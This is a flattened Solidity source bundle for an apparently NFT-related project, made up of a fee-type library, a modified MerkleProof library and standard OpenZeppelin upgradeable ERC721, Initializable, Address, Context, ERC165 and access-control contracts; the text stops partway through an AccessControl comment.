pragma solidity ^0.8.11;
library FeeType {
uint256 internal constant PRIMARY_SALE = 0;
uint256 internal constant MARKET_SALE = 1;
uint256 internal constant SPLIT = 2;
}
// SPDX-License-Identifier: MIT
// Modified from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.3.0/contracts/utils/cryptography/MerkleProof.sol
// Copied from https://github.com/ensdomains/governance/blob/master/contracts/MerkleProof.sol
pragma solidity ^0.8.11;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*
* Source: https://github.com/ensdomains/governance/blob/master/contracts/MerkleProof.sol
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool, uint256) {
bytes32 computedHash = leaf;
uint256 index = 0;
for (uint256 i = 0; i < proof.length; i++) {
index *= 2;
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
index += 1;
}
}
// Check if the computed hash (root) is equal to the provided root
return (computedHash == root, index);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721Upgradeable.sol";
import "./IERC721ReceiverUpgradeable.sol";
import "./extensions/IERC721MetadataUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../utils/StringsUpgradeable.sol";
import "../../utils/introspection/ERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing {
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[44] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721EnumerableUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721Upgradeable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal onlyInitializing {
}
function __ERC165_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)
pragma solidity ^0.8.0;
import "../utils/introspection/IERC165Upgradeable.sol";
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol)
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
